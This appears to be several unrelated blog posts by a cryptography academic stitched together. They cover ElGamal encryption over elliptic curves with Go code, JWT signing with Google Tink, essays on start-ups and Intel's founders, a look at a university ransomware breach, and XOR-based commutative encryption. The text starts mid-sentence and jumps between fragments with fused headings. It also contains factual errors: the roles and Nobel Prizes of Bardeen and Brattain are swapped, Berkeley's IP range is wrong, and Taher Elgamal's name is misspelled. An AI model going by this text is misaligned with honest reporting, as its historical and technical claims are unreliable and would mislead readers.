Converting from John Napier’s Logarithms to Elliptic Curve Methods Around ten years ago, discrete log and RSA methods were riding right. But both of these methods have struggled with…medium.comThis exponential becomes point multiplication, and multiply/division becomes point addition/subtraction.
ElGamal and ECCBut, Elliptic Curve Cryptography (ECC) methods are just everywhere just now. With ECC, we take points on a defined curve — such as Curve 25519 — and then perform point addition and subtraction. So how can we convert the ElGamal method into ECC? First, Alice first creates a private key (a) — and which is a random scalar value — and a public key (aP) — and which is a point on the elliptic curve. P is the base point on a curve. Alice’s public key will then be:
A=aP
If Bob wants to send Alice an encrypted message (M), he creates a random value (k) and uses her public key (A) to produce a cipher message of:
K=kP
and then the next with:
C=kA+M
and where M is matched to a point on the elliptic curve. Now Alice receives (K) and (C), and computes:
S=aK
and then computes the message with:
M=C−S
As C and S will be points on the elliptic curve, this will be done with a point subtraction operation. Overall this will recover the original message as:
C−S=kA+M−aK=kaP+M−akP=M
The following is come Go code to implement this [taken from here]:
package mainimport ( "fmt" "os" "go.dedis.ch/kyber" "go.dedis.ch/kyber/group/edwards25519" "go.dedis.ch/kyber/util/random")func ElEncrypt(group kyber.Group, pubkey kyber.Point, message []byte) ( K, C kyber.Point, remainder []byte) { // Embed the message (or as much of it as will fit) into a curve point. M := group.Point().Embed(message, random.New()) fmt.Printf("Message point:\t%s\n" , M.String()) max := group.Point().EmbedLen() if max > len(message) { max = len(message) } remainder = message[max:] // ElGamal-encrypt the point to produce ciphertext (K,C). k := group.Scalar().Pick(random.New()) // ephemeral private key K = group.Point().Mul(k, nil) // ephemeral DH public key S := group.Point().Mul(k, pubkey) // ephemeral DH shared secret C = S.Add(S, M) // message blinded with secret return}func ElDencrypt(group kyber.Group, prikey kyber.Scalar, K, C kyber.Point) ( message []byte, err error) { // ElGamal-decrypt the ciphertext (K,C) to reproduce the message. S := group.Point().Mul(prikey, K) // regenerate shared secret M := group.Point().Sub(C, S) // use to un-blind the message message, err = M.Data() // extract the embedded data return}func main() { M:="Testing" argCount := len(os.Args[1:]) if (argCount>0) {M= string(os.Args[1])} suite := edwards25519.NewBlakeSHA256Ed25519() // Alice's key pair (a,A) a := suite.Scalar().Pick(suite.RandomStream()) A := suite.Point().Mul(a, nil) fmt.Printf("Private key (Alice):\t%s\n" ,a.String()) fmt.Printf("Public key (Alice):\t%s\n" , A.String()) fmt.Printf("\n\n--- Now Bob will cipher the message for Alice\n") fmt.Printf("Bob's message:\t%s\n",M) m := []byte(M) K, C, _ := ElEncrypt(suite, A, m) fmt.Printf("\nBob cipher (K):\t%s\n" , K.String()) fmt.Printf("Bob cipher (C):\t%s\n" , C.String()) fmt.Printf("\n\n--- Now Alice will decipher the ciphertext (K,C) with her private key (a)\n") M_decrypted, err := ElDencrypt(suite, a, K, C) if err != nil { fmt.Println("Error: " + err.Error()) } fmt.Printf("\nOutput:\t%s",string(M_decrypted))}A sample run is:
Private key (Alice): 7182fa86214b1672f36113d139b2f84ca6acbbf1dbe2202e2ad99665e4fdac00Public key (Alice): 31dfde321f1f56228feeacaeff9550c3d489ee5fd3e4e9d2e48fd41cfd9f09f6--- Now Bob will cipher the message for AliceBob's message: Testing 123Message point: 0b54657374696e6720313233aca5a2888970256a3bb93cde2898f95fcdfd96efBob cipher (K): c794b9c278298dc3abd64b0e3af62a2f7390c6c51c13a491930dea6b2dbc6ce4Bob cipher (C): 27ac77843effff5b723abe990e7175ba0c7659da0f5aec98421f0a89b78f2d82--- Now Alice will decipher the ciphertext (K,C) with her private key (a)Output: Testing 123And there you go, ElGamal using ECC:
https://asecuritysite.com/elgamal/go_elgamal_ecc
Partical Homomorphic Encryption with ElGamalWith ElGamal public key encryption we have a public key of (Y,g,p) and a private key of (x). The cipher has two elements (a and b). With this, Bob selects a private key of x and the calculates Y= g^x (modp) for his public key. We can use it for partial homomorphic encryption, and where we can multiply the ciphered values. With this we encrypt two integers, and then multiply the ciphered values, and then decrypt the result.
https://asecuritysite.com/homomorphic/go_el_homo
https://asecuritysite.com/elgamal/elgamal_ps2
g^a . g^b = g^{a+b}
Other applicationsThere are many other applications of the ElGamal method, including Authenticated Encryption and in Zero Knowledge Proofs. The days of using discrete logarithms are past, and most of the implementations use elliptic curve methods now. And, so, unlike many others, Tahir did not patent his method, and this allowed others to use it freely.
Introduction
I have been involved in enterprise and innovation for quite a while. I love it, and where I have had the opportunity to think and dream and kick-start things that flourish in the future. Some things have worked, and other things have not. And, we have been so lucky to have spun out three highly successful cybersecurity companies, and each of which has come from a seed of an idea but has been built by great people.
And I am so pleased that people like Professor Mark Logan are now introducing words like enterprise and innovation back into academic approaches, as, for too long, it was all about research. Overall, research will go nowhere without adding some innovation and then some enterprise to take it to places where real people find real uses for it. In academia, there can be game-playing, and where the impact factor of a journal or the number of publications in the year can be seen as having an impact. But, the real impact happens in the real world and away from citation counts and impact factors. And, for grants, it is not the income that matters; it is what the grant actually does.
Know the market and your customerOver the years, too, I have seen many approaches to enterprise and innovation, and at the core of this is knowing what the problem is that you are solving and that there is a market in what you are creating — in crude terms, it is, “Know the market and your customer”.
Having a passion for what you doAt the core of a great company is the genuine passion for what you do as an organisation. It should never be false passion — but genuinely, from the heart — we love what we do. And I’ve observed that great companies focus on the quality of what they do and never dwell on what they have at the current time.
Leadership and responsibility, and removing committees and bureaucracyA great company, too, prizes leadership and responsibility, and where job roles have lesser importance than someone’s responsibility. I have never liked committees and bureaucracy; they are often created through a lack of trust in individuals. Few committees ever make strategic decisions, and few committees ever innovate anything.
And, so, to me, the best companies/organisations have leaders who are generally self-starters — they don’t need to be prompted to do something — they just know it is right to progress something. These leaders, hopefully, should be instantly identifiable in your organisation, and who you could communicate with in an instance. Great leaders should not hide behind administrative support but actively engage with those who have questions about their approaches.
Stop wasting time, and don’t blameTo me, companies should always try to break down these barriers to advancement and try to minimise the time in meetings. For me, I despair at the two-hour meetings with fixed agenda — and with a growing list of attendees. I’ve always found that time spent discussing will grow exponentially with the number of people in a meeting. The best meetings for me, as those which communicate things and have an open place to discuss any concerns, and then they finish on time.
And great companies often do not pinpoint blame on individuals. They will investigate what went wrong but will never end up pin-pointing any individual. This approach allows individuals to feel confident that they can take responsibility without feeling that, if something fails, they will end up being blamed for the failure.
My Bluffers guide to creating a great company/organisationSo, here’s my bluffers guide to creating a great company/organisation:
And, the signs:
Avoid hooking up with a company or organisation with followers which is full of committees and line managers. Oh, and get the best HR people possible! For a start-up, the HR function is likely a core part of the success or failure of a company.
For me, I love innovating, and I love teaching and researching cryptography, and my university has given me the space to do these things. I have a passion for education, and I love what I do. Go find your passion if you have not already found it …
Related blog: https://medium.com/asecuritysite-when-bob-met-alice/tokens-jwt-and-google-tink-c6b915d387e8
And: https://billatnapier.medium.com/hmac-or-public-key-signing-of-jwts-64084aff10ef
Introduction
My Top 20 important things about JWTs:
And a debate I’ve had with many development teams:
What’s a token?So, what’s a token? Well, it is basically a way to encapsulate data in a well-defined format that has a signature from the issuer. For this, we either sign using HMAC (HMAC-256, HMAC-384 or HMAC-512), RSA signing or ECC signing. The HMAC method requires the use of a secret symmetric key, whilst RSA and ECC use public key encryption. The problem with HMAC is that if someone discovers the secret key, they could sign valid tokens. For enhanced security, we typically use public key encryption, where we sign with a private key and then validate with the public key.
In this case, we will use Google Tink to create JWTs (JSON Web Tokens) and which are signed with elliptic curve cryptography. For this, we will use either NIST P-256 (ES256), NIST P-384 (ES384) or NIST P512 (ES512) for the curves. Overall, we do not generally encrypt the payload in JWT, so it can typically be viewed if the token is captured.
JWT formatA JWT token splits into three files: header, payload and signature (Figure 1).
Figure 1: JWT format The header parameterThe header contains the formation required to interpret the rest of the token. Typical fields are “alg” and “kid”, and these represent the algorithm you use (such as “ES256”) and the ID, representively. The default type (“type”) will be “JWT”. Other possible fields include “jwk” (JSON Web key), “cty” (Content type), and “x5u” (X.509 URL). An example header for a token that uses ES384 signatures and with an ID of “s5qe-Q” is:
{"alg":"ES384", "kid":"s5qe-Q"} The payload parameterThe payload is defined in JSON format with a key-pair setting. For a token, we have standard claim fields of iss (Issuer), sub (Subject), aud (Audience), iat (Issued At), exp (Expires At), nbf (Not Before), and jti (JWT ID). The claim fields are not mandatory and are just a starting point — and where a developer can add any field that they want. An example field is:
{"aud":"qwerty", "exp":1690754794, "iss":"ASecuritySite", "jti":"123456", "sub":"hello"}The time is defined in the number of seconds past 1 January 1970 UTC. In this case, 1690754794 represents Sunday 30 Jun 22:06:34:
The token signing parameterThere are two ways to sign a token: with an HMAC signature or with a public key signature. With HMAC, we create a shared symmetric key between the issuer and the validator. For public key encryption, we use either RSA or ECDSA. For these, we create a signature by signing the data in the token with the private key of the creator of the token, and then the client can prove this with the associated public key. For public key signing, the main signing methods are:
and for HMAC:
In public key signing, we have a key pair to sign the token:
And with HMAC, we share a secret signing key:
Encrypting the payloadA JWT can be encrypted, but this is optional. For public key methods, we can use either RSA and AES or a wrapped AES key. An “alg” method of “RSA1_5” will use 2,048-bit RSA encryption with RSAES-PKCS1-v1_5, “A128KW” will use 128-bit Key Wapping and “A256KW” uses 256-bit Key Wapping. With key wrapping, the private key is encrypted with a secret key. Both the issuer and verifier will know this secrete key.
For symmetric key methods, we can use “A128CBC-HS256” (AES-CBC) and “A256CBC-HS512” (HMAC SHA-2). It is possible to also use ECDH-ES (Elliptic Curve Static) for key exchange methods
An example tokenAn example token is:
eyJhbGciOiJFUzI1NiIsICJraWQiOiJ3WHd6dVEifQ.eyJhdWQiOiJxd2VydHkiLCAiZXhwIjoxNjkwNzU0Nzk0LCAiaXNzIjoiQVNlY3VyaXR5U2l0ZSIsICJqdGkiOiIxMjM0NTYiLCAic3ViIjoiaGVsbG8ifQ.cAXunJHLRrqFfJStJTFlwkUTze6K8EpwOui9abDeiSBcR5WeOEpXCSUQBnS_VdVnLsmVV2AWUX0kOTqIWERcMQWe then have:
These are in Base64 format, and we can easily decode the header as:
{"alg":"ES256", "kid":"wXwzuQ"}and the payload as:
{"aud":"qwerty", "exp":1690754794, "iss":"ASecuritySite", "jti":"123456", "sub":"hello"}The signature value will be in a byte array format.
Sample codeWith Google Tink, we can create a token with the fields using:
expiresAt := time.Now().Add(time.Hour) subject:= "CSN09112" audience := "Sales" issurer := "ASecuritySite" jwtid := "123456" rawJWT, _ := jwt.NewRawJWT(&jwt.RawJWTOptions{ Subject: &subject, Audience: &audience, Issuer: &issurer, ExpiresAt: &expiresAt, JWTID: &jwtid, })Next we will generate an ECC private key using either NIST P256, NIST P-384 or NIST P-512. In the following, we create a private key (priv) and which will be used to sign the token:
priv,_ =keyset.NewHandle(jwt.ES256Template()signer, _ := jwt.NewSigner(priv)token, _ := signer.SignAndEncode(rawJWT)We can then create the public key from the private key, and validate the token with this key:
pub, _:= priv.Public()verifier, _ := jwt.NewVerifier(pub)The full code is [here]:
package mainimport ( "fmt" "time" "os" "strconv" "github.com/google/tink/go/jwt" "github.com/google/tink/go/keyset" "github.com/google/tink/go/insecurecleartextkeyset")func main () { priv, _ := keyset.NewHandle(jwt.ES256Template()) expiresAt := time.Now().Add(time.Hour) subject:= "CSN09112" audience := "Sales" issurer := "ASecuritySite" jwtid := "123456" t:=0 argCount := len(os.Args[1:]) if (argCount>0) {subject= string(os.Args[1])} if (argCount>1) {audience= string(os.Args[2])} if (argCount>2) {issurer= string(os.Args[3])} if (argCount>3) {jwtid= string(os.Args[4])} if (argCount>4) {t,_ = strconv.Atoi(os.Args[5])} switch t { case 1: priv,_ =keyset.NewHandle(jwt.ES256Template()) case 2: priv,_ =keyset.NewHandle(jwt.ES384Template()) case 3: priv,_ =keyset.NewHandle(jwt.ES512Template()) } pub, _:= priv.Public() rawJWT, _ := jwt.NewRawJWT(&jwt.RawJWTOptions{ Subject: &subject, Audience: &audience, Issuer: &issurer, ExpiresAt: &expiresAt, JWTID: &jwtid, }) signer, _ := jwt.NewSigner(priv) token, _ := signer.SignAndEncode(rawJWT) verifier, _ := jwt.NewVerifier(pub) validator, _ := jwt.NewValidator(&jwt.ValidatorOpts{ExpectedAudience: &audience,ExpectedIssuer: &issurer}) verifiedJWT, _:= verifier.VerifyAndDecode(token, validator) id,_:=verifiedJWT.JWTID() sub,_:=verifiedJWT.Subject() aud,_:=verifiedJWT.Audiences() iss,_:=verifiedJWT.Issuer() at,_:=verifiedJWT.IssuedAt() ex,_:=verifiedJWT.ExpiresAt() fmt.Printf("Public key:\t%s\n",priv) fmt.Printf("Public key:\t%s\n\n",pub) fmt.Printf("Token:\t%s\n\n",token) fmt.Printf("Subject:\t%s\n",sub) fmt.Printf("Audience:\t%s\n",aud) fmt.Printf("Issuer:\t\t%s\n",iss) fmt.Printf("JWT ID:\t\t%s\n",id) fmt.Printf("Issued at:\t%s\n",at) fmt.Printf("Expire at:\t%s\n",ex) fmt.Printf("\n\nAdditional key data\n") exportedPriv := &keyset.MemReaderWriter{} insecurecleartextkeyset.Write(priv, exportedPriv) fmt.Printf("Private key: %s\n\n", exportedPriv) exportedPub := &keyset.MemReaderWriter{} insecurecleartextkeyset.Write(pub, exportedPub) fmt.Printf("Public key: %s\n\n", exportedPub)}A sample run proves the process [here]:
Public key: primary_key_id:1926408156 key_info:{type_url:"type.googleapis.com/google.crypto.tink.JwtEcdsaPrivateKey" status:ENABLED key_id:1926408156 output_prefix_type:TINK}Public key: primary_key_id:1926408156 key_info:{type_url:"type.googleapis.com/google.crypto.tink.JwtEcdsaPublicKey" status:ENABLED key_id:1926408156 output_prefix_type:TINK}Token: eyJhbGciOiJFUzI1NiIsICJraWQiOiJjdEtuM0EifQ.eyJhdWQiOiJxd2VydHkiLCAiZXhwIjoxNjkwNzUxNTI0LCAiaXNzIjoiQVNlY3VyaXR5U2l0ZSIsICJqdGkiOiIxMjM0NTYiLCAic3ViIjoiaGVsbG8ifQ.qfui2u9hBpEgiQQeeWNJtSanyl4rbYkViIZJxVmBvCsP72ovcT20qC35YbQOh7Q8cCqA37Fk8OXWSQ-geg6E-QSubject: helloAudience: [qwerty]Issuer: ASecuritySiteJWT ID: 123456Issued at: 0001-01-01 00:00:00 +0000 UTCExpire at: 2023-07-30 21:12:04 +0000 GMTAdditional key dataPrivate key: .{primary_key_id:1926408156 key:{key_data:{type_url:"type.googleapis.com/google.crypto.tink.JwtEcdsaPrivateKey" value:"\x12F\x10\x01\x1a \xcdPtI\x03)\xb0\xf7H9'\x1e\x94t\xaaa\x99\xf8Úv\xcf\xd6|\x1a\x1aV6H!\xda\x00\" \xc2Ï¥\xfaD\x16\xb2\xfa\xd7\x00\xfe\xba\xe4\xf3\xed%\x03\x9a^\x1d\x9f\x93_\xf3\x1f\xd9W\x90\x8aâX\x1a p\xf7,_}\x13\xff\x84\x9c\xc6j\xdaͯ\xc7\x1b.\xb2|\x19ØŽ\xfb\xa9j\x05\xb3NF\xc4\x7f\xcc" key_material_type:ASYMMETRIC_PRIVATE} status:ENABLED key_id:1926408156 output_prefix_type:TINK} .nil.}Public key: .{primary_key_id:1926408156 key:{key_data:{type_url:"type.googleapis.com/google.crypto.tink.JwtEcdsaPublicKey" value:"\x10\x01\x1a \xcdPtI\x03)\xb0\xf7H9'\x1e\x94t\xaaa\x99\xf8Úv\xcf\xd6|\x1a\x1aV6H!\xda\x00\" \xc2Ï¥\xfaD\x16\xb2\xfa\xd7\x00\xfe\xba\xe4\xf3\xed%\x03\x9a^\x1d\x9f\x93_\xf3\x1f\xd9W\x90\x8aâX" key_material_type:ASYMMETRIC_PUBLIC} status:ENABLED key_id:1926408156 output_prefix_type:TINK} .nil.} ConclusionsThere are many risks in using JWTs, especially in capturing a token and playing it back. The expiry date should thus be set so that it would limit the impact of any malicious use.
Using public key encryption to sign JWTs is a good method, as the authenticity of the token can be proven with the associated public key. With an HMAC method, we need to share a secret key, which could cause a data breach.
And, finally, which signature method should you pick? Find out here:
Blog post: https://medium.com/asecuritysite-when-bob-met-alice/noyce-moore-and-grove-a-template-for-spin-out-start-up-success-b67d9795154a
Introduction
So, is there a formula for a successful start-up/spin-out — and if you followed it, you would be guaranteed success? For this, many people approach me and say, “I want to have a spin-out. What should I do?”. To me, this is a little like saying, “I want to fly, can you give me wings?”. So, let me lay out a few things that I have learned over the past two decades of being involved in spin-out companies.
Overall, we have been very lucky in our spin-outs, with three highly successful ones, and where two have been bought out (Zonefox and Symphonic), and the third is expanding fast within digital forensics (Cyacomb). But, as they say, “The Harder I Practice, the Luckier I Get”. We have had failures, but every time our team has licked their wounds and come back stronger. And the one thing, though, I’ve observed is that the leadership of an innovative company often needs to change as it evolves, and those leading it need to know when they need to move aside and let others take their place.
So, I’m going to define the three stages as: Visionary, Strategy and Grit, and where there are very different leaders at each stage. But, fundamentally, the first two stages set up the culture and approach of the company, and which are fundamental to its long-term beliefs and ideals. Overall, few companies in the third stage can turn their ship and travel in a different direction. The approach of IBM, for example, is still one of an engineering approach to their work and one built on rewarding innovation.
Forgive me, I’m technicalAnd, so I am a cryptography professor, and not a business one, so please forgive me for not covering the core literature in the areas of business. I am also highly technical, and that is what I love. I would never want to be a cut-throat business person and would never want to be. I love inventing things and seeing ideas grow from seeds. And one thing I know is when my role is complete as part of the innovation process and when to move aside.
But, deeply technical people are at the core of creating a successful spin-out, along with people with a vision. And, so, I would like to lay out a basic template of my observations in creating a successful spin-out — and based on the ones we have produced. To me, also, a great technical company should have a core of theoretical work, and where the best work can come from academic collaborations. In academia, there is an attention to detail and theory, and which makes sense of the complex world of invention and discovery. But, the magic comes from practical implements, and where the best collaborations mix practice with theory.
So, my basic template for success is to get the right leadership team in place, and get the right leader for the right time. A core part of this is knowing when the leader should move aside and let someone else take over. For this, I’ll map it to the success of Intel and its first three employees: Robert Noyce, Gordon Moore and Andy Grove.
Stage 1: Robert Noyce — the Visionary (1968–1975)If there’s a superstar of our digital era, it must be Robert Noyce. Imagine inventing the one thing that now drives virtually everything in our digital age: the integrated circuit. It all started in the late 1950s with John Bardeen and Walter Brattain at Bell Labs and who first invented the transistor. William Shockley advanced the concept with the creation of the bipolar transistor. Bardeen and Brattain were a great research team and has a great balance of theoretical skills with practical ones. Brattain did the theory, and Bardeen did the practical work. All three eventually received a Nobel Prize for their work — with Brattain being one of the few people to ever get two Nobel Prizes.
While Bell Labs was a hub of innovation at the time, Shockley wanted to take a good deal of the credit for the invention of the transistor and left Bell Labs to set up his own company in 1955: Shockley Semiconductor. For this, we recruited Robert Noyce and Gordon Moore to work on his ideas. But Shockley was a difficult boss and had an overbearing approach to his management style. This caused eight of Shockley’s employees — including Robert Noyce and Gordon Moore — to leave the company and start their own venture with the support of Fairchild Camera and Instrument. It was there, in 1961, that Robert created one of the most significant patents of all time:
It outlined a magical way of doping a semiconductor substrate and producing an integrated circuit:
This invention differed from Jack Kilby’s work at Texas Instruments, as Robert outlined a monolithic circuit while Jack defined a hybrid circuit approach. And, so, Fairchild grew fast as a leader in semiconductors, but as the company grew, Robert increasingly missed the days of true innovation and decided to team up with Gordon Moore to create Integrated Electronics (which would end up just being known as Intel).
And, so, Robert was the anchor for the creation of Intel. A true visionary and someone that people trusted and listened to. It was thus not difficult for Andy Rock to find the seed funding for the start-up — as it had Robert’s name on it. Those who invested in the company were not investing in the company and its projected product line but in Robert.
In Stage 1 we thus have the visionary leader. The person who can see beyond the near future and build a company that could scale towards their vision, and someone who both inspired people to believe and someone who others could trust with the vision.
And, so, Robert led Intel from 1968 to 1975 but knew the time that he needed to hand over to someone else. And, that needed to be someone who had a core understanding of the technology required to scale Intel: Gordon Moore.
Stage 2: Gordon Moore — the technical and strategic genius (1975–1987)In Stage 2, we move from the visionary leader to the strategic leader, and there was no better person than Gordon Moore (and who created the mighty Moore’s Law — and which is still relevant to this day). Gordon had an eye for detail and quality. For Intel to succeed, they needed someone to convert the vision shown by Noyce to something that matched the market. For this, he invested heavily in R&D and made Intel a world leader in the memory market. But, he showed his strategic brilliance by spotting the opportunity to initiate work in microprocessors.
As we all know, in 1969, Intel was designing some chips for Busicom and decided to integrate these into a single device, which could be programmed with software. The designer was Ted Hoff, and he produced the first microprocessor: the 4004. And, so, as the memory market became crowded and profits fell, Gordon moved Intel out of it and ramped up the development of the 8-bit and 16-bit microprocessors. The device that sprang out of this development was the Intel 8086, which — luck would have it — was the processor selected for the IBM PC. It was luck and strategy, and Gordon was a core part of this. Most CEOs would have pushed forward in the memory market, but Gordon focused Intel’s R&D on new markets.
Gordon Moore was thus the second phase leader and the one who could stop opportunities and be in the right place at the right time to exploit them. Without his technical genius, the company would have struggled to understand how to scale R&D into emerging markets.
Stage 3: Andy Grove — the detail (1987–1998)And now we need the last piece of the puzzle … Andy Grove. Intel had grown up as a company of idealists and lacked a “Us and Them” approach to management. Noyce, Moore and Grove had led the company, but they were colleagues. Many remember that it was often difficult to find Gordon in the company when they visited him, as he sat in a cubical in the open plan set up and shared the same physical space with others in the company. There were no fancy trimmings for Gordon in his CEO role — he was as much a worker as any other.
And both Robert and Gordon had a gentle approach to their management style, but Andy brought an edge that the congenial Moore and Noyce could never give.
At eight years old, Andy escaped with his mother from the Nazis and left Hungary at the age of 20 during the Hungarian Revolution. He arrived in the US as a refugee with no money but with a passion for learning. Eventually, he gained his PhD from the University of California, Berkeley.
And, so, Andy provided the grit and desire to succeed that Intel needed, and, as with Gordon, he had an eye for quality and in making sure that everything that Intel did was at the highest possible technical level.
And so it was Andy who had the grit to move Intel out of its core memory business and into microprocessors. He had a knack for taking complex problems and distilling them down into strategies that were easy for those involved to understand. Perhaps it was because he was an engineer first and then had to learn about management and strategic approaches.
His strategy was to move Intel out of memory and straight into the PC. The natural choice at the time for the processor in the PC was Motorola, but Grove managed to get the technical support in place for the Intel chip, and that allowed engineers to develop their prototypes. And, what did Grove do about the expertise in memory? He put it to good use in integrating SRAM caches into the processor, which massively speeded up their operation.
Andy thus had the grit that Intel required to take it into new markets and win:
The most important role of managers is to create an environment where people are passionately dedicated to winning in the marketplace. Fear plays a major role in creating and maintaining such passion. Fear of competition, fear of bankruptcy, fear of being wrong and fear of losing can all be powerful motivators.
ConclusionsMoore and Noyce drove Intel to become one of the world’s most powerful companies. The team had a perfect balance … Noyce inspired everyone he met and built an initial customer base, while Moore built technical excellence and then followed through. It was left to Grove to focus on detail and excellence. William Shockley failed in the market as he couldn’t share success with others, while Moore, Noyce and Grove built a culture of collaboration and in taking shared ownership of the company they built.
The first stages of a company are thus so important is building its culture into the future. If those involved in those first stages do not act in the right way, then the company may be doomed to have the wrong approaches to its employees and customers. The initial leaders are the ones that people should look up to and be inspired by. This is not often through business practice, but having core scientific and technical expertise in their field.
So, get your team in place … a visionary, a technical genius, and a true leader with grit. But, knowing the best leader at any given time and knowing when to hand over to someone else can take the next great step forward. And, go do something wonderful …
Academia was one of the first infrastructures to build and use the Internet — in fact, they built ARPANET and which morphed into the Internet. And so, you will find that they often have privileged IP address ranges, such as for Class A or Class B. With this, when IPv4 address ranges were initially given out, universities and research organisations were granted large address spaces to allocate to their growing networks. No one, at the time, could have ever envisaged in how much the Internet has grown since then. To make things easy, nearly every computer that was allocated a public address could be connected to directly — these were routable Internet addresses. To overcome these direct connections, firewalls filtered data packets and tried to stop malicious access.
The Happy Phase of the InternetWe might call this the “Happy Phase” of the Internet, where it basically interconnected trusted organisations and where there was no real concept of many people outside this trust circle having access to a computer. It was a new frontier in technological development and seemed to be a nice way to send emails between academics and researchers and to showcase their latest research work.
By a public address, we have the concept that it is possible to route data directly to a computer. As you connect to this article, you are likely to be using a non-routable IP address, which is hidden between a NAT (Network Address Translation) router. These privileged academic address spaces supported public IP address spaces for thousands or even millions of hosts — and where a Class A IP address can allow over 16 million computers to have a public IP address.
The University of California, Berkley, for example, has an IP address and subnet of 104.247.81.71/8, and where 104.0.0.0 is the network address, and where 24 bits in the address can be used for subnetworks and hosts. This means that the host part can be used to create subnetworks with an extension of the subnet field. Ultimately, a Class A address can give up to 16,777,216 publicly addressable hosts. And, so, while most organisations put their computers in private address spaces (though NAT), universities had enough IP addresses to allow many computers to be publicly addressable.
In fact, at one time, an academic’s desktop computer was likely be allocated a public address and could thus be directly contacted. And, so, as long as the computer was powered on, it could be addressable. Along with this, a log of any sites visited would leave a trace of the public IP address. In fact, it was all too common to add a DNS entry of Bob’s computer as “Bob.uni.edu”. But, this was all created in a time of little concern about cybersecurity, and it allowed academic infrastructures to grow dynamically — and under their own control.
This was all set up before any real concept of requiring cybersecurity — as the networks were often just used to interconnect networks. So while other infrastructures have closed themselves to external threats, universities — in places — can still support legacy applications and have security support which ends after the working day.
24x7 Security Operations CentreI have observed the rise of the SOC (Security Operations Centre) in the finance industry — in fact, many of our graduates go into jobs that relate to this. I’ve also toured many of the SOCs in Glasgow and Edinburgh and love to see the fusion of data from inside and outside the companies. Basically, these companies had to move from being a Monday to Friday, 9am-5pm company to looking after security 24x7.
But what about Higher Education (HE) as a sector? Well, I might be wrong, but higher education has not adopted the concept of 24x7 SOCs, and at 5 pm, many networked infrastructures hand over to support staff. There is very little in the way of sharing security resources across HE, too. Like it or not, our adversaries don’t work 9–5pm (GMT), and are most likely to be on a different time zone in the world.
And, so, we see the University of Manchester and the University of the West of Scotland (UWS) being subject to a cyber attack in the last few weeks, and this could be the start of a targeted offensive against network infrastructure with weaker support for security. The attack on the University of Manchester was part of a vulnerability around the usage of the MOVEIt protocol:
https://medium.com/asecuritysite-when-bob-met-alice/the-moveit-zero-day-the-payroll-hack-dd4e7ceaeb92
ResultsThe attack on the UWS site happened around 6 July 2023, and now it is suspected data from the breach where it is reported that the ransomware gang of Rhysida [here] is selling breached data to the highest bidder for 20 bitcoins (£450,000):
The site went down for around a week, and it affected a range of internal systems. At the current time, it is thought that the breached data includes bank details and national insurance numbers, along with internal documents from the university. Presently, there is no real information on whether these documents are real or not.
The breach happened around the first week in July 2023, and when the UWS site started to show the message of:
At first sight, this could be a standard domain take-over, and where the HTTPs certificate is valid:
But, with a lookup, we see that the domain name has been parked at 3dqkz9i.x.incapdns.net:
% nslookup www.uws.ac.ukServer: 8.8.8.8Address: 8.8.8.8#53Non-authoritative answer:www.uws.ac.uk canonical name = 3dqkz9i.x.incapdns.net.Name: 3dqkz9i.x.incapdns.netAddress: 107.154.112.136Overall, Incapsula is a cloud-based hosting company — it may be that the university is using the cloud provider for their hosting. Generally, it is not recommended to actually log into the site (even though the password hint is ‘Google’), as the main page seems to have a redirected site on the redirected site:
Generally, there is a sign of the usage of WordPress, and which may be used to deliver the UWS Web pages (wp-content is a typical folder used to store digital content on a Word Press site) — this might point to a WordPress site take-over:
If we go to the Way Back engine, the last recorded site archive was on 1 July [here]:
Overall, the HTML is there is signs of WordPress being used:
If we try some of the links above, we get:
ConclusionsAcademic information infrastructures have grown independent of each other — and were a key part of building the Internet. Those, though, were the “nice” days, but where we have massively grown our digital footprint. The exposure is now massive, especially with the rise of SaaS, and where many universities use third-party applications for contacts and HR systems. We need to move into a world in which shared cybersecurity and setting up 24x7 SOCs for universities is a must … as it is for most other sectors.
I believe that university security teams should work together, and merge resources for defence, and bring in companies who are well used to running SOCs in the finance sector. At least, every institute should look at running SOC on the basis that we would see in the industry — as the data contained in the network — and the risk to student’s education — is too great a risk. To me, the University of Manchester and UWS data breaches are just the start of a targeted offensive against softer targets. And the ability to recruit and keep cybersecurity staff in academia is going to be a major problem.
Related blog post: https://billatnapier.medium.com/cryptography-fundamentals-commutative-encryption-19ba4c4c2173
Introduction
What’s at the core of cryptography? Well, the simple EX-OR holds a special place, as we can do not lose any information when we apply it. For a bitwise operation of 0 EXOR 0 gives 0, 0 EXOR 1 gives 1, 1 EXOR 0 gives 1, and 1 EXOR 1 gives 0.
And, so, cryptographers dream of the perfect cipher. And that cipher is a one-time pad. Basically, we generate a one-time use key for our plaintext, and then EX-OR them together, and then just EX-OR again with the same key and we will get our plaintext back. Unfortunately, we can only use it once and need to generate another one. So, let’s see if we can generate something similar but just use the simple XOR method for our encryption and decryption.
In the Tor (The Onion Router) network, data is encrypted with a key from each of the Tor routing nodes. Thus, if we have three nodes of A, B and C, with A as the entry node and C as the exit node. For this, the user will generate a separate key for each node to use and encrypt with the key of A, then the key of B, and then the key of C. The encrypted data is passed to A, and which will decrypt with its key, and pass the encrypted data onto B, and who will decrypt with its key. Finally, C will decrypt with its key, and the data will be decrypted. This protects the data as it is routed. But we have to remove the keys in the reverse order they were applied. One way to do this is with commutative encryption.
Using a haspWhen I worked as an electrical engineer, we had a hasp to isolate the electric power on a device we were working on:
With this, each person who was working on the equipment, would put on their own padlock, and where we could not put the power back on, until all the padlocks had been taken off. The padlocks could be put on in any order, and taken off in any order, but there was no way to putting the power back on, until everyone had taken their padlock off.
So how could we do this with data. Let’s say that Bob, Alice and Carol want to apply their “data hasp”, so that the data cannot be revealed until they have all taken off their padlock. Well, with symmetric key block ciphers, such as AES, we cannot do this, as we must decrypt in the reverse order of they keys being applied:
To encrypt: Bob → Alice → Carol … and then to decrypt: Carol → Alice →Bob
There are ways to do it with RSA, such as with SRA [here], but these methods significantly reduce the security of the process. The solution is to use a stream cipher, as we basically just X-OR the data when we are encrypting, and then X-OR again with the same key when we decrypt. We can apply multiple keys to the data, and in any order and it will always decrypt properly once we have applied all the keys.
What we need with commutative encryption is to have an encryption string which is the same length as the data string. To make the encryption string, we can use an XOF (eXtendable-Output Functions) and where we can create a hash value of a given size. For this, rather than the fixed hash of SHA-3, we can use the SHAKE. Or with With BLAKE2b we have an XOF of BLAKE2XB, and for BLAKE2s we have an XOF of BLAKE2XS. We can then basically have a secret passphrase, and which generates an output which matches the length of the plaintext. Another method we can use, is to generate an pseudo infinitely long encryption key which is the same length as the plaintext — in the same way that a stream cipher works.
